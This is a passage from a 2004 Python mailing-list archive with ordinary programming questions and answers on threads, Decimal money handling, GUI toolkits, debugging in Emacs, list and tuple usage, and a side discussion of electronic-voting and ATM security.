PyGUI is how much they intend > to leverage the underlying toolkits. wxWidgets (and thus wxPython) > make use of a lot of higer level widgets like the tree controls, using > the native ones in the underlying toolkits. This makes apps look very > native, but does create a very difficult problem in cross platform > compatibility. Yes. Ideally I would like to make use of the native widgets as much as possible, to maximise both performance and authenticity of look & feel. But this can limit what it is possible to provide due to having to take the intersection of several different toolkits. Maybe I will be able to use native functionality where it is available and provide Python-implemented fallbacks for when it isn't. > AnyGUI wxPython is a python wrapper around a SWIG wrapper around a C++ > wrapper around a set of native toolkits. > > AnyGUI TKinter is a python wrapper around a python wrapper around a > TCL toolkit, written in C that emulates X on non-X platforms. > > Doesn't this seem a bit much? Yep, that's exactly the sort of thing I'm trying to avoid with PyGUI! -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand http://www.cosc.canterbury.ac.nz/~greg From __peter__ at web.de Mon Sep 27 10:30:41 2004 From: __peter__ at web.de (Peter Otten) Date: Mon, 27 Sep 2004 16:30:41 +0200 Subject: repeat something in a thread, but stop when the program stops References: <5db4fffa.0409270551.57a96cda@posting.google.com> Message-ID: Harald Armin Massa wrote: > I would like to have a way to stop that thread in a automatic way. > > one obvious solution would be: > > import time > from threading import Thread > import Queue > > class updater(Thread): > stopper=Queue.Queue() > def run(self): > self.timegone=0 > while self.stopper.empty(): > time.sleep(0.5) > self.timegone+=1 > if self.timegone>=600: > print "you waited, time passed, I will do updates" > do_updates() > self.timegone=0 > print "updater stopped also" As of 2.3 (I think) Queue.get() accepts a timeout parameter. You could change the above to from Queue import Queue, Empty class updater(Thread): stopper = Queue() def run(self): while True: do_updates() try: self.stopper.get(True, 600) except Empty: pass else: break and the sleeping thread should immediately wake up when it gets the stop notification. Peter From adalke at mindspring.com Wed Sep 22 18:45:52 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Wed, 22 Sep 2004 22:45:52 GMT Subject: How to count lines in a text file ? In-Reply-To: <1gkjf3r.y37symc5ueasN%aleaxit@yahoo.com> References: <414ed896$0$26378$ba624c82@nntp02.dk.telia.net> <414eda06$0$26379$ba624c82@nntp02.dk.telia.net> <1gkf46r.1xrytm21mny6pfN%aleaxit@yahoo.com> <9Gk4d.400$zG1.260@newsread3.news.pas.earthlink.net> <1gkjf3r.y37symc5ueasN%aleaxit@yahoo.com> Message-ID: Alex Martelli wrote: > ....and wc would then not count that non-line as a line, so why should > we...? Witness...: 'Cause that's what Python does. Witness: % echo -n 'bu' | python -c \ ? 'import sys; print len(sys.stdin.readlines())' 1 ;) Andrew dalke at dalkescientific.com From aleaxit at yahoo.com Fri Sep 24 04:04:28 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Fri, 24 Sep 2004 10:04:28 +0200 Subject: Why not FP for Money? References: <10l0lpt9n0n5k9c@news.supernews.com> <4t33l0h66h171hcb6riu97s55pj0860hdf@4ax.com> <1gkm1wt.1twm02s1cr3m7hN%aleaxit@yahoo.com> <7xk6ukw149.fsf@ruckus.brouhaha.com> Message-ID: <1gkm3u0.1s58vuhduaeN%aleaxit@yahoo.com> Paul Rubin wrote: > aleaxit at yahoo.com (Alex Martelli) writes: > > > A native Money type, either with the $ signal ($35.72) or the suffix > > > (35.72D) would not present the same issues, because the literal would > > > > Right, but in practice I find that: > > > > def d(x): return decimal.Decimal(str(x)) > > > > appears to work pretty well, judging from early experimentation. > > Hmm. What does d(35.72) give you? The same thing as d('35.72')? > Either answer is arguably wrong. yep, str(35.72) == '35.72'. As I use d() only on literals, and will carefully avoid it if I should ever enter more than six digits in such a literal, _in practice_ (as I said) I find it works well, whether _in theory_ it's arguably wrong or not. Were it a built-in I'd no doubt have different feelings, but as a handy user-coded one-liner it's fine. Alex From aleaxit at yahoo.com Wed Sep 22 03:20:55 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 22 Sep 2004 09:20:55 +0200 Subject: Python 3.0, rich comparisons and sorting order References: <864d370904092109509df67ee@mail.gmail.com> <20040921173455.GB2891@unununium.org> <20040921182934.GA9959@unununium.org> Message-ID: <1gkic4n.18qxgoup1mzdhN%aleaxit@yahoo.com> Steven Bethard wrote: ... > (2) "is there a good use case for wanting to make a mapping with keys that > have incompatible types?" (my question to you) > > To some degree, (1) has already been answered to my satisfaction by Carlos > Ribeiro's spreadsheet example. If you could give me a real world example of > when you'd want to do (2), I might be more convinced... Does my example of 'tuples as concrete representations of expressions' which I posted to another subthread of this thread help? Say several such expressions are coming in to be evaluated over the same context (assignment of values to free variables), I want to memoize the expressions that I have already computed this time (to avoid recomputing in a situation where the same expression or subexpression is likely to recur ofter) and the natural way to do it is: if expr in known_expr: return known_expr[expr] value = known_expr[expr] = do_compute(expr) return value In this case a dict would do just as well as a BTree, but it's easy to think of a slight variant where expressions would not easily be made hashable, but might still easily use some arbitrary comparison. Alex From aleaxit at yahoo.com Fri Sep 17 03:14:11 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Fri, 17 Sep 2004 09:14:11 +0200 Subject: up with PyGUI! References: <2qq5adF133c5kU1@uni-berlin.de> <1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com> <1gk6ivk.p08pluiee64dN%aleaxit@yahoo.com> <1gk7753.1c973iatj1rtuN%aleaxit@yahoo.com> Message-ID: <1gk91v9.1k6244t1tmaymsN%aleaxit@yahoo.com> Jorge Godoy wrote: ... > >> I remember iBooks starting at something like US$ 2100.00... That's more > >> than half of the Dell :-) > > > > iBooks start at about HALF what you remember. > > Not here. :-) As I said, I wish we had the prices you do in Europe and > in the US. They're higher here (at today's exchange rates, 1467 vs 1099 for an entry-level iBook). My solution, as I mentioned, is buying in the US. Apple of course tries to stop any attempt to go around their market segmentation, but for portable products that's not easy for them. > > Why Apple chooses to price stuff cheap in richer countries, US foremost, > > and dearer the poorer the country, I dunno. > > I think their logistics cost is lower in the US than in the rest of the > world. Their market is bigger there too. Convenient excuses for Apple's market-fragmentation strategy, unfortunately (for them) easily shown as such. All iBooks are shipped from Taiwan, for example -- getting them to US, Brazil or the Netherlands is basically the same. The quarrel 'du jour' against Apple, to give another example, is about the fact that iTunes song downloads cost 20% more in the UK than Germany or France, and the latter two countries won't even let you buy unless you can give a French/German address and credit card (in Italy you can't buy from any of these stores... unless you're lucky enough to have an address and credit card in the appropriate country...). This is arguably against Europe's single-market laws, and since we're talking about downloads over the net the "logistics" argument is laid bare for the feeble excuse it is. Indeed Apple's response that I've seen is not about trying to argue that it costs more to push bits to London than to Paris, but rather that iTunes song prices should be compared, not with the prices of the same song in different countries, but rather with the prices of other songs from competitors in the same country. In other words, Apple is charging all the market will bear, segmenting markets ruthlessly to do so, even when they have to break laws in order to scrounge extra profits that way. I think it's quite a myopic attitude, eroding any goodwill from people who LIKE their products and turning it into rage and loathing. If and when the costs of delivery are higher it's quite reasonable to charge "X+postage and handling" for a fixed X. For example, delivering to an address just next door to an AppleStore may well be cheaper than delivering to some rural address in the heartlands. But does Apple charge the rural customers more? No way -- _in the US_ they're quite careful to avoid the horrid PR that would result from THAT. Elsewhere, apparently, they don't really care -- if Apple believes that Britons can be gouged for 20% more than Frenchmen, they pounce on it. I find that sad when I'm not foaming at the mouth against it;-). > I do with the free / not free (free beer) stuff now. If the software I > write is free (free speech and possibly free beer), I don't mind that > much in making it GPL or BSDL or anothr free license (I personally like > the GPL idea, so this is the one I use). You like it and use it when you write software yourself, yet you expressed the desire that Qt didn't, so you could use it when you write software that's not free. "Do unto others as you would have others do unto you" seems a fundamental, reasonable principle of fairness: aren't you violating it here, by using a license you wish others didn't use? Alex From blackwhite at gmail.com Thu Sep 2 23:08:56 2004 From: blackwhite at gmail.com (blackwhite) Date: 2 Sep 2004 20:08:56 -0700 Subject: How python parse the value to var Message-ID: [Code as follows:] args_list, names = getopt.getopt( sys.argv[1:] , "n:j:h") args = {} for (a, v) in args_list: args[a] = v >>>The question is: If i use cmd line as xxx.exe -n A -j B 123.txt 456.jpg The output will be args_list will be[('-n','A'),('-j','B')] names will be['123.txt','456.jpg'] >>>>>>>>How python parse the value to them(args_list&names) From fumanchu at amor.org Wed Sep 22 16:55:44 2004 From: fumanchu at amor.org (Robert Brewer) Date: Wed, 22 Sep 2004 13:55:44 -0700 Subject: calling class methods without instance Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022EFC@exchange.hqamor.amorhq.net> Josh Close wrote: > Is there a way to call a class method without an instance of > that class? > > class myClass: > def printSomething(message): > print message > > myClass.print() > > That's basically what I want to do. Is there a way to do that without > having to do > > c = myClass() > c.print() > > I've tried using > > class myClass: > def printSomething(message): > print message > printSomething = staticmethod(printSomething) > > but that didn't seem to work either. I'm probably just missing > something really simple here. Not sure what you're missing, unless you're not posting a complete example. This works: >>> class myClass: ... def p(msg): ... print msg ... p = staticmethod(p) ... >>> myClass.p("hey") hey Robert Brewer MIS Amor Ministries fumanchu at amor.org From mrsilva at fastmail.fm Thu Sep 23 12:15:10 2004 From: mrsilva at fastmail.fm (Marcio Rosa da Silva) Date: Thu, 23 Sep 2004 18:15:10 +0200 Subject: Emacs + python In-Reply-To: <87hdprv3qd.fsf_-_@ion.xlipstream.com> References: <278de0e.0409201131.57baf7f9@posting.google.com> <414f61bf$0$29449$636a15ce@news.free.fr> <87hdprv3qd.fsf_-_@ion.xlipstream.com> Message-ID: Chris Green wrote: > The trick that I like most about emacs+python right now is inserting > import pdb; pdb.set_trace() and then running the python script from a > *shell* buffer. It just happens to load the exact same code that would > occur from running pdb.py directly so code lines can be synced up. I am trying for a long time a way to run pdb from emacs and have the code synchronized. I searched google for emacs+python+debug or emacs+pdb but the instructions would say: "M-x pdb" but then emacs asked the command line to run the debug and I tried "pdb" "pydb" "pydb filename" but nothing worked. When I tryed "M-x pdb" then "pydb" I need to use "file " (and the completion doesn't work here for the filename), then the debugger worked, but no sync with the source code :-( From the help of GUD, I tried "M-x pdb FILE " also without success. Anyone can help me with this? I really don't know how to make it work. I have seen in the python-emacs-mode that there are some code to synchronize the code, but I could not make it work in this way (I don't know enough elisp) :-( But anyway, thanks Chris for the tip. This one worked for me :-) It is possible to set breakpoints using the source buffer instead of using the line number? Marcio From zanesdad at bellsouth.net Wed Sep 1 21:10:16 2004 From: zanesdad at bellsouth.net (Jeremy Jones) Date: Wed, 01 Sep 2004 21:10:16 -0400 Subject: List and tuple usage distinction?? In-Reply-To: <938a4680.0409011617.e9f9ee2@posting.google.com> References: <938a4680.0409011617.e9f9ee2@posting.google.com> Message-ID: <413672F8.30002@bellsouth.net> Ishwar Rattan wrote: >I am a little confused about a list and a tuple. > >Both can have dissimilar data-type elements, can be returned >by functions. The only difference that I see is that list is >mutable and tuple is not (of course list have .append() etc.) > >What is a possible scenario where one is preferred over the other? > >-ishwar > > Lots of reasons ;-) 1. Maybe you want to create a dict and key off of a list of items. I haven't had to do that, but it's feasible. Take a peek at this: >>> f = ('a', 'b', 'c') >>> g = list(f) >>> f ('a', 'b', 'c') >>> g ['a', 'b', 'c'] >>> h = {} >>> h[f] = 1 >>> h[g] = 1 Traceback (most recent call last): File "", line 1, in ? TypeError: list objects are unhashable >>> h {('a', 'b', 'c'): 1} You can key off of a tuple (the tuple "f") and you can't off of a plain old list ("g"). 2. You don't need the list of items to change or similarly 3. You want to make it more difficult for a list of items to change. You can still fairly easily change a tuple - sort of: >>> f = list(f) >>> f.append('d') >>> f = tuple(f) >>> f ('a', 'b', 'c', 'd') >>> What you've actually done is change the tuple object that "f" is pointing to. Someone else can answer better about memory usage, but I would think that a tuple would cost less memory than a comparably sized list, so that also may be a consideration. Jeremy From exarkun at divmod.com Sat Sep 4 13:59:02 2004 From: exarkun at divmod.com (Jp Calderone) Date: Sat, 04 Sep 2004 13:59:02 -0400 Subject: list conversion question In-Reply-To: References: <3Ma_c.13188$Dl4.3729@fe2.texas.rr.com> Message-ID: <413A0266.2090809@divmod.com> Andrew Dalke wrote: > Paul McGuire wrote: > >> Assuming im.histogram() returns a list like [ 0, 1, 0, 5, 43, etc. ] how >> about: >> >> hist = [ 0, 1, 0, 5, 43 ] >> values = [ i for i in enumerate(hist)] >> values.sort(lambda a,b: cmp(b[1],a[1])) >> indexes = [ a for a,b in values ] > > > or tweaked a bit for speed (a sort with a lambda is expensive) > and for clarity, IMO, > > pairs = [(value, offset) for (offset, value) in enumerate(hist)] > pairs.sort() > indexes = [offset for (value, offset) in pairs] > > In Python2.4 this is allowed > > >>> hist = [ 0, 1, 0, 5, 43 ] > >>> [pair[0] for pair in sorted(enumerate(hist), > ... key=lambda pair: pair[1])] > [0, 2, 1, 3, 4] > >>> Even faster, though perhaps not as clear: >>> import operator >>> hist = [ 0, 1, 0, 5, 43 ] >>> map(operator.itemgetter(0), sorted(enumerate(hist), ... key=operator.itemgetter(1))) [0, 2, 1, 3, 4] Jp From alanmk at hotmail.com Tue Sep 14 08:02:05 2004 From: alanmk at hotmail.com (Alan Kennedy) Date: Tue, 14 Sep 2004 13:02:05 +0100 Subject: Electronic voting feasibility In-Reply-To: References: <28KdnThSO7DtM9zcRVn-pQ@powergate.ca> <8PWdnfxkGeIFWNzcRVn-qQ@giganews.com> <_4KdnfDylt2TSdzcRVn-pg@powergate.ca> Message-ID: [Istvan Albert] >>>Looking at what they claim, that in 2003 they discovered a back door >>>affecting every evoting machine, a backdoor that requires >>>a 2 digit code to overwrite the votes stored in the system, >>>moreover even a year later every system has this same flaw... >>> >>>I don't find this credible, ... [Peter Hansen] >>Maybe, but I've found other articles that said that the Diebold >>machines *all* had a hardcoded password of "1111" at one point... >>not a stretch to think they also had a simplistic backdoor like that. >> >>The president of the company says they "are not incompetent", so >>we might as well believe him, though, and not Bev Harris. ;-) [JanC] > They are very competent security gurus: > Hmm, I read the content of that link, and I can't see anything that would reassure me that Diebold are/employ competent security people. Quite the opposite in fact: """ At both affected institutions the ATMs began aggressively scanning for other vulnerable machines, generating anomalous waves of network traffic that tripped the banks' intrusion detection systems, resulting in the infected machines being automatically cut off, Diebold executives said. "The outbound traffic from the ATM was stopped -- limited, from a network standpoint -- and effectively isolated," """ From the way I read it, the Diebold systems were completely helpless in the face of the attack. It was the owning bank's IDS that spotted the problem and cut the Diebold ATMs off from the network. If the banks IDS hadn't taken that action, perhaps there might have been more serious implications for the banks? If I were in Diebold's position, I would feel extremely embarrassed that my dedicated hardware "began aggressively scanning for other vulnerable machines, generating anomalous waves of network traffic" and "the infected machines being automatically cut off" by someone else's actions, not mine. And their performance in keeping watch on vulnerabilities doesn't inspire confidence: "A patch for the critical RPC DCOM hole had been available from Microsoft for over a month at the time of the attack, but Diebold had neglected to install it in the infected machines." Interesting that Diebold are now installing firewalls in their ATMs. It seems to me that any "security guru" with a basic clue about network security would have been doing that since the first day the ATMachines were connected to a network. regards, -- alan kennedy ------------------------------------------------------ email alan: http://xhaus.com/contact/alan From M.Waack at gmx.de Tue Sep 28 16:04:48 2004 From: M.Waack at gmx.de (Mathias Waack) Date: Tue, 28 Sep 2004 22:04:48 +0200 Subject: re-entering in the normal flow after an exception is raised References: <4edc17eb.0409280817.27ef4f43@posting.google.com> <1gkucfb.1kl4cxm1yw6dq2N%aleaxit@yahoo.com> Message-ID: <0oso22-9k7.ln1@valpo.de> Alex Martelli wrote: > If something is too complicated for C++, I would assume it's WAY > too > complicated for Python. It's too complicated for C++ to handle lists containing arbitrary types, declaring functions working on arbitrary types, creating classes at runtime... SCNR Mathias From pbouige at electre.pasteur.fr Wed Sep 15 07:50:06 2004 From: pbouige at electre.pasteur.fr (Philippe Bouige) Date: Wed, 15 Sep 2004 11:50:06 +0000 (UTC) Subject: python task manager References: <106645cc.0409150056.708bba7a@posting.google.com> Message-ID: You have also this : http://www.kalab.com/freeware/pycron/pycron.htm In article <106645cc.0409150056.708bba7a at posting.google.com>, jack wrote: >Hi, > >I am looking for a task manager written in python that is powerfull >and simple enough to schedule a lot of different tests on an every day >or many time a day basis. > >----------------------- >python scheduler module >------------------------ > >Python build in scheduler works but afaik you send action to be done >in N minutes. >I would prefer to input information like "do it at 15h00 every day". >Plus if two task are to be runned at the same time, I am not sure of >how it would react. > >------- >WebWare >------- > >Webware taskkit looks at first glance the good solution. > >------------ >Os scheduler >------------ > >Then of course, I could use the Os scheduler (windows or linux), but >it may be more difficult to react in case of problem. > >********** >QUESTION ? >********** >Is there other python options than these 3 ? > >Thanks in advance. > >Jack. From fuzzyman at gmail.com Thu Sep 2 07:21:44 2004 From: fuzzyman at gmail.com (Michael Foord) Date: 2 Sep 2004 04:21:44 -0700 Subject: compiling to python byte codes References: <4136b2b5$1@news.unimelb.edu.au> <4136bbf3$0$197$9b622d9e@news.freenet.de> Message-ID: <6f402501.0409020321.44fd443@posting.google.com> "Martin v. L?wis" wrote in message news:<4136bbf3$0$197$9b622d9e at news.freenet.de>... > Maurice LING wrote: > > I remembered reading a MSc thesis about compiling Perl to Java bytecodes > > (as in java class files). > > You don't have to look that far. Jython compiles Python code into Java > bytecode; IronPython compiles Python code into Microsoft intermediate > language. > > > I'm wondering if > > something of such had been attempted in python, as in compiling X > > language into .pyc. > > The easiest way to create a .pyc file is to create a Python file, > and then compile that. There are various tools that compile X to > .pyc. For example, Fnorb compiles OMG IDL into .pyc files. > > > I do not understand the schematics of .pyc files but > > I assume that they are the so called python bytecode files. > > That's correct. > > > Or is there any documentation or books that is the python equivalent of > > "Programming for the Java Virtual Machine" by Joshua Engel? > > There is the dis module and its documentation. However, as I said, in > Python, you don't really *need* to create .pyc files directly, as > the Python compiler is always available through the compile() builtin > function. This is unlike Java or .NET, where the compiler is not > available in the JRE, or the .NET commercial framework. > > Regards, > Martin But that still doesn't answer the OPs question which is about writing code in another language to generate python bytecode.... Which is interesting.. but not that interesting I suppose. Is python bytecode *that* different to Java bytecode (not in detail but in concept ?). There's no reason why another compiler couldn't emit python bytecode to run on the 'python virtual machine' ? (plenty of reasons not to do it I suppose just no reasons why it shouldn't be possible). Regards, Fuzzy http://www.voidspace.org.uk/atlantibots/pythonutils.html From beliavsky at aol.com Thu Sep 9 12:12:02 2004 From: beliavsky at aol.com (beliavsky at aol.com) Date: 9 Sep 2004 09:12:02 -0700 Subject: declare a constant in Python? Message-ID: <3064b51d.0409090812.46ee0477@posting.google.com> I wish one could declare a constant in Python, analogous to 'const int i=1;' in C++. Is there a way to get this effect? From rattan at cps.cmich.edu Mon Sep 13 17:05:42 2004 From: rattan at cps.cmich.edu (Ishwar Rattan) Date: 13 Sep 2004 14:05:42 -0700 Subject: os.fork() question? Message-ID: <938a4680.0409131305.2516b461@posting.google.com> Info at http://doc.python.org/ on os.fork() says that it has 'unix' semantics (on a UNIX box) on return values child pid in parent, 0 in child, no mention of failure? So, what does it return on failure? I tried it under Linux with Python-2.3.4, after few thousand forks the system just hangs! (does not return/report fork failure) Another question on module 'mutex' (stumbuled on it while looking for info on threads). What is its purpose? (sample code for usage of lock() and unlock() will be nice too). -ishwar From rst at _nospam_.drlug.org._nospam_ Mon Sep 6 11:37:30 2004 From: rst at _nospam_.drlug.org._nospam_ (Rune Strand) Date: Mon, 06 Sep 2004 17:37:30 +0200 Subject: Fastest way to loop through each digit in a number? References: <22voj0p4mr0i1gis8tjn6ob23bup23c48s@4ax.com> Message-ID: <9f0pj0pkrple3o1d97vt5fe45pjbr60i96@4ax.com> ;-) Somtimes the solition is too obvious... faster than using ord() is to look up the value in a map: dictmap = { '0' : 0, '1' : 1, '2' : 2, '3' : 3, '4' : 4, '5' : 5, '6' : 6, '7' : 7, '8' : 8, '9' : 9 } def each_dig_in_num(n): dm = dictmap #faster if local s = repr(n) #repr is faster than str for char in s: foo(dm[char]) From claird at lairds.us Thu Sep 23 16:08:05 2004 From: claird at lairds.us (Cameron Laird) Date: Thu, 23 Sep 2004 20:08:05 GMT Subject: incrementing a time tuple by one day References: Message-ID: In article , Donn Cave wrote: >In article , > Peter Hansen wrote: >> David Stockwell wrote: . . . >Well, who knows, maybe datetime is the answer for him, >but if not, I would just use 24*60*60 instead of trying >to get one day in seconds out of mktime(). (I think if >you look at the date closer, it isn't decremented all!) > > Donn Cave, donn at u.washington.edu While I quickly lost track of who said what, I've been around long enough to know that some people are touchy about there NOT being 24 * 60 * 60 seconds in a day near "daylight-savings" switches. I have no idea whether that's the case for Mr. Stockwell. From carribeiro at gmail.com Thu Sep 23 07:52:44 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Thu, 23 Sep 2004 08:52:44 -0300 Subject: up with PyGUI! In-Reply-To: <2rfnp6F19gkpkU1@uni-berlin.de> References: <414783DD.4070509@zephyrfalcon.org> <4lf4d.15151$pA.1180511@news20.bellglobal.com> <4151B7C4.6070003@zephyrfalcon.org> <2rfnp6F19gkpkU1@uni-berlin.de> Message-ID: <864d3709040923045236e2a2ea@mail.gmail.com> On Thu, 23 Sep 2004 14:44:52 +0400, anton muhin wrote: > I beg your pardon for possibly stupid comment---I haven't practice GUI > programming for a long time, especially in Python. However I mostly > prefer declarative approach for the problems like that. Therefore, > wouldn't it be interesting to describe the structure with class and > metaclass mechanism, like: > > class MainFrame(FrameDescription): > > class b1(ButtonDescription): > size = (40, 40) > text = "b1" > > etc. Thats *exaclty* what I'm doing, after spending a long time evaluating a lot of GUI packages, Wax included. Not that I didn't like Wax -- I think the design is very good, and I would put it in the same class as Greg Ewing's PyGUI, with the advantage that Wax runs in Windows. But I miss the ability to write a declaration like you've done. I have tested a metaclass engine yesterday that does something like you wrote. In my particular case, I'm going to work with automatic layout generation, so I'm not providing absolute positioning parameters. But the mechanism is about the same. Here are two declarations from my test script: class UserForm(Form): nickname = TextBox(length=15, default="") password = TextBox(length=10, default="", password=True) name = TextBox(length=40, default="") class ComplexForm(Form): class Header(Form): nickname = TextBox(length=15, default="") password = TextBox(length=10, default="", password=True) name = TextBox(length=40, default="") class Comment(Form): comments = TextBox(length=200, default="", multiline=True) It already accepts nested classes and some special attributes. There are a few catches involving hacks to detect the original order of the attributes in the class declaration. That's going to make a difference, because one would implicitly assume that the tab order of the data entry elements is the same as the declaration order. Solved that, I'm working today on the code generation engine that will generate the UI from the class declaration. I'll post a note here as soon as I have something working. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From stimpy1997uk at yahoo.com Fri Sep 3 13:10:57 2004 From: stimpy1997uk at yahoo.com (Stimpy) Date: Fri, 3 Sep 2004 18:10:57 +0100 Subject: Xah Lee's Unixism References: <10jfmu8d0bt4n8b@corp.supernews.com> Message-ID: <2prn7jFonemvU1@uni-berlin.de> SM Ryan wrote: > > Not really. It was known to be a problem from the first Multi-Finder. The Faulty-Minder :-) From ksenia at ksenia.nl Sat Sep 4 08:00:09 2004 From: ksenia at ksenia.nl (Ksenia Marasanova) Date: Sat, 4 Sep 2004 15:00:09 +0300 Subject: How to actually write a program? In-Reply-To: References: Message-ID: > Any ideas about this problem :-) I dont' know if this is a 'right' approach, but if the program has user interface, it helps also first to create this user interface. That way you'll be able to visualize what information your program needs to get and to send back. It can be easier then to define classes and methods... Ksenia. From http Wed Sep 22 03:34:27 2004 From: http (Paul Rubin) Date: 22 Sep 2004 00:34:27 -0700 Subject: Why not FP for Money? References: <41512635$0$94916$5a6aecb4@news.aaisp.net.uk> Message-ID: <7xr7oulpto.fsf@ruckus.brouhaha.com> "John Burton" writes: > Yes you could probably "fix" the rounding to make it work in > practice but the problems is that it is simply not possible to > represent the value 1.13 in a floating point variable exactly and > when dealing with money you want to represent it exacctly, > particularly as it's so easy to do. The Decimal Floating Point pages that Tim linked to are really fantastic. I remember going to a talk by some of the MIPS CPU designers a long time ago, and they explained they left decimal arithmetic out of their RISC design because they'd instrumented a bunch of Cobol programs and found that arithmetic simply wasn't where financial applications spent their computation time. However, the DFP site shows some pretty interesting benchmarks. From aleaxit at yahoo.com Thu Sep 16 09:32:35 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 16 Sep 2004 15:32:35 +0200 Subject: list/tuple to dict... References: <20040915163909.4234ce31@gypsy.pfortin.com> <1gk7a4p.9bjbrs173syhqN%aleaxit@yahoo.com> Message-ID: <1gk7pgm.vgopct1j6etshN%aleaxit@yahoo.com> Steve Holden wrote: ... > Don't forget to take your blood-pressure medication :-) > > just-heard-the-kettle-boiling-ly y'rs - steve Heh -- thanks Steve, but you misinterpreted, that was just Anna making tea;-). I'm just going to take some Maalox... the pressure is fine!-) Alex From daniel at syrinx.net Tue Sep 7 09:33:20 2004 From: daniel at syrinx.net (Daniel Ellison) Date: Tue, 07 Sep 2004 09:33:20 -0400 Subject: Anyone know anything named DX? (was Re: Announcing PyCs) In-Reply-To: References: <20040901221925.2128958333.EP@zomething.com> <1stv02-qlp.ln1@home.rogerbinns.com> Message-ID: <2q5rglFrq42gU1@uni-berlin.de> Peter Hansen wrote: > Roger Binns wrote: > >> http://maurizio.giampy.it/apg/ >> >> It was how I came up with Entrocul and BitPim :-) > > > Since most of the ones it generates are useless for this > discussion, I thought I'd give the several potential ones > that it popped up for me amidst the crap: > > dophon > cowbird > > I kinda like the second one... (it said it's pronounced > "cowb-ird" though, so maybe it wouldn't do. ;-) > > -Peter "Cowb-ird"? Is that anything like "cow-orkers"? :) Cow-birds are a lot like Cuckoo birds (yes, they ARE real) in that they lay eggs in other birds' nests. OT? Hmmm... let's see. :) From dharsamto at yahoo.com Tue Sep 28 08:48:58 2004 From: dharsamto at yahoo.com (dharsamto) Date: Tue, 28 Sep 2004 12:48:58 -0000 Subject: QU, recently launched in icewalkers Message-ID: a new open source language programming has been launched in icewakkers this month, namely QU good alternative for perl, php, phyton programmers very cool but need contributors to enrich its library http://www.icewalkers.com/NFTW/522580/Qu.html From greg at cosc.canterbury.ac.nz Wed Sep 29 01:52:35 2004 From: greg at cosc.canterbury.ac.nz (Greg Ewing) Date: Wed, 29 Sep 2004 17:52:35 +1200 Subject: up with PyGUI! In-Reply-To: References: <414783DD.4070509@zephyrfalcon.org> <4lf4d.15151$pA.1180511@news20.bellglobal.com> <4151B7C4.6070003@zephyrfalcon.org> <2rfnp6F19gkpkU1@uni-berlin.de> <4152D05B.9020909@zephyrfalcon.org> <2rhjmpF1at3kjU1@uni-berlin.de> Message-ID: <2rv0t6F1evq2vU1@uni-berlin.de> Peter Hansen wrote: > class MainFrame(FrameDescription): > b1 = ButtonDescription( > size = (40, 40), > text = "b1", > ) > > That's pretty close to what you asked for. You're welcome, > in advance. The idea was to be able to specify attributes of the widget using a suite of assignments instead of a function call. Not a big difference, but it would tidy things up a bit and avoid those awkward dangling parentheses that you get with the above style. My example was a little off target, btw. It should have been more like class MyWindow(Window): def __init__(self): instance b1(Button): size = (40, 40) text = "b1" i.e. the created objects are to be attributes of *instances* of MyWindow, not its class. -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand http://www.cosc.canterbury.ac.nz/~greg From eric_brunel at despammed.com Thu Sep 9 04:21:14 2004 From: eric_brunel at despammed.com (Eric Brunel) Date: Thu, 09 Sep 2004 10:21:14 +0200 Subject: TKinter + display of a shell command return References: Message-ID: Yann.K wrote: > Eric Brunel wrote: > > >>What is your problem here? Inserting at the end of the text and call the >>see method on the text widget to make sure the last line is displayed >>should be enough. An update_idletasks may also be needed to actually >>display something, but it depends on the architecture of your script, >>typically on whether you use threads or not. > > Yes, really it run great but no as i would! > For long process, the display wait the end of the script execution to > display all the lines of the mesage. The problem may not be in the Python script, but in the shell command itself: the output for commands is usually buffered and you won't get a chance to display anything until the buffer is full or the command explicitely does a flush. There may be a means to ask the shell to avoid buffering the command outputs (like Python's -u option), but my shell knowledge does not go as far as that... And of course, it will depend on the shell flavor you're using... [...] > Thanks for your help, You're welcome. Good luck! -- - Eric Brunel - PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com From ialbert at mailblocks.com Fri Sep 10 11:17:43 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Fri, 10 Sep 2004 11:17:43 -0400 Subject: Electronic voting feasibility In-Reply-To: <28KdnThSO7DtM9zcRVn-pQ@powergate.ca> References: <-_CdnSvxZtZcPdzcRVn-iw@giganews.com> <28KdnThSO7DtM9zcRVn-pQ@powergate.ca> Message-ID: <8PWdnfxkGeIFWNzcRVn-qQ@giganews.com> Peter Hansen wrote: > What are they trying to manipulate you to do, Take everything they say as the only truth. Istvan. From chrisks at NOSPAM.udel.edu Sun Sep 19 19:38:34 2004 From: chrisks at NOSPAM.udel.edu (Chris S.) Date: Sun, 19 Sep 2004 23:38:34 GMT Subject: Determining if a client PC has an Internet connection In-Reply-To: References: Message-ID: <_Lo3d.5146$%42.2120@trndny08> Cliff Wells wrote: > On Sun, 2004-09-19 at 09:03 +0000, Chris S. wrote: > > >>As others have mentioned, there's no clean-cut paradigm in the language >>that can distinguish between the Internet and your local LAN. Your best >>bet is to simple go about your business can try accessing hosts like >>normal. When several of your requests timeout, then you can safely >>assume the local host to be offline. That's what you see in those >>applications when they say you're "offline"; an educated guess. After >>all, if you can't reach your target, then you are, for all intents and >>purposes, offline. > > > Okay, at this point I suppose the better question would be how to make > an "educated guess". As I mentioned, I've considered trying to open a > socket to one or more relatively stable hosts (i.e. Google, Yahoo, etc) > and if this fails, assume there is no Internet link. However, this > clearly has it's flaws (those services, as unlikely as it seems, could > potentially be down, or they might be blocked by a corporate firewall, > etc). Further, tying the application to an outside source that is, for > all intents, unrelated to the app seems a bit flaky. > > Anyway, it occurs to me that a better "guess" might consist of whether > or not the app can reach the PC's primary/secondary DNS servers. If > these are unreachable then it's a fair assumption that we aren't going > to get anywhere anyhow. > > So... is there a way of determining the DNS search path of a PC? My solution was far more mundane. I meant simply try and access the internet the way you normally would. If it's a mail client, try and access your users POP server. If it's a web-browser, try and retrieve a web page the user wants. If you can't access them, then there's essentially no "internet connection". In other words, 